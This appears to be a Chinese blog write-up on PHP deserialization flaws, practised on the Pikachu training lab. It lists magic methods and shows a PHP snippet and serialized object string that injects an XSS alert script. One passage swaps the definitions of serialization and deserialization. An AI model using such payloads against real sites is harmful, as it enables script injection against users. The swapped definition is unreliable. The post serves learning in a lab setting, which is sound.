首页 > 其他分享 >unserialize-基于Pikachu的学习

unserialize-基于Pikachu的学习

时间:2024-05-06 20:46:17浏览次数:27  
标签:__ 触发 基于 php 对象 Pikachu unserialize PHP 序列化

php反序列化

PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客

PHP反序列化基础 - Hello CTF (hello-ctf.com)

PHP反序列化漏洞的原理及复现 - FreeBuf网络安全行业门户

原理:

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

咱们先了解一下序列化和反序列化都是什么含义

image-20240506201901334

image-20240506201910431

通俗来讲

序列化就是把字符串去转换成PHP对象

反序列化就是把php对象转换成字符串

常见的魔术方法

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

Pikachu

打开题目就让我输入一个序列化的东西,但是没有啥源码,估计就是概述里面的那个示例

image-20240506202604722

那我们就分析一下

我们去创造一个S的对象,然后会触发destruct这个魔术方法,然后打印出test的值,那我们就可以在test的这里去动手脚了

new S() -> __destruct() -> $this->test

我们打开php在线这个网站,去序列化一下PHP 在线工具 | 菜鸟工具 (jyshare.com)

我们构造一下payload:

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

然后弄到输入框试试:

image-20240506202950380

成功了。

标签:__,触发,基于,php,对象,Pikachu,unserialize,PHP,序列化
From: https://www.cnblogs.com/Muneyoshi/p/18175841

相关文章

  • 敏感数据泄露-基于Pikachu的学习
    敏感数据泄露原理由于管理员或者技术人员等各种原因导致敏感信息泄露。许多web应用程序和app都无法正确保护敏感数据,攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输......
  • 目录遍历-基于Pikachu的学习
    目录遍历原理目录浏览漏洞是由于网站存在配置缺陷,存在目录可浏览漏洞,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。Pikachu打开题目就是两个超链接,我随便点了一个发现url发现变化,有一个参数值titl......
  • Over-Permission-基于Pikachu的学习
    越权漏洞原理该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不......
  • 基于WOA优化的CNN-LSTM-Attention的时间序列回归预测matlab仿真
    1.算法运行效果图预览优化前:    优化后:   2.算法运行软件版本matlab2022a 3.算法理论概述       时间序列回归预测是数据分析的重要领域,旨在根据历史数据预测未来时刻的数值。近年来,深度学习模型如卷积神经网络(ConvolutionalNeuralNetwork,C......
  • 数据仓库 vs 数据湖 vs 湖仓一体:如何基于自身数据策略,选择最合适的数据管理方案?
    在信息化浪潮席卷全球的今天,数据已经成为企业决策和发展的重要驱动力。无论是电商平台的用户行为分析,还是金融领域的风险预测,亦或是物联网设备的海量数据处理,都离不开高效、灵活的数据存储和处理方式。在这样的背景下,各种数据存储和处理技术应运而生,它们各自以其独特的方式在数据......
  • 基于arduino+as608+360舵机的宿舍指纹锁
    需要的制作材料Arduinonano开发板AS608指纹模块MG995360舵机(360舵机的控制与180舵机控制不相同,360舵机只可以控制旋转的速度,180舵机可以控制旋转的角度)面包板,电线若干准备部分参考了大佬的代码http://t.csdnimg.cn/GB29Qarduino模块可以看b站视频,,零基础(c语言零基础......
  • 基于Luckfox Pico的opencv使用UDP协议与ubuntu传输摄像头数据-小白进阶
    使用UDP传输opencv的mat数据并显示本教程适用于进阶的小白尝试先说一下背景吧,正在工作的我,突然间看到淘宝上有个很漂亮的价格还不错的linux小板子,遂买下。没错,工作太无聊以至于开始摸鱼学习~但奈何每天工作完回家就像躺着,所以板子到手都快半年了才开始研究实现了简陋的摄像头......
  • C#的基于.net framework的Winform编程 - 编程手把手系列文章
          对于C#,笔者最早接触的是ASP.NET里的开发,后面对Winform程序也有一定的开发,但是真正理解和重新编码是这些年的事,在我的C#标签里有一些例子,记录了winform程序开发的一些功能。此文只是记录基于.netframework的用C#开发Winform程序的一个过程。1、安装VisualStud......
  • Less17基于报错的字符型注入
    Less17基于报错的字符型注入打开环境是一个密码重置页面在用户名栏输入各种语句都无效,遂审计源码functioncheck_input($value) { if(!empty($value)) { //truncation(seecomments) $value=substr($value,0,15); } //Stripslashesifmagicquotesenabled......
  • filedownload-基于pikachu的学习
    Filedownload原理文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将......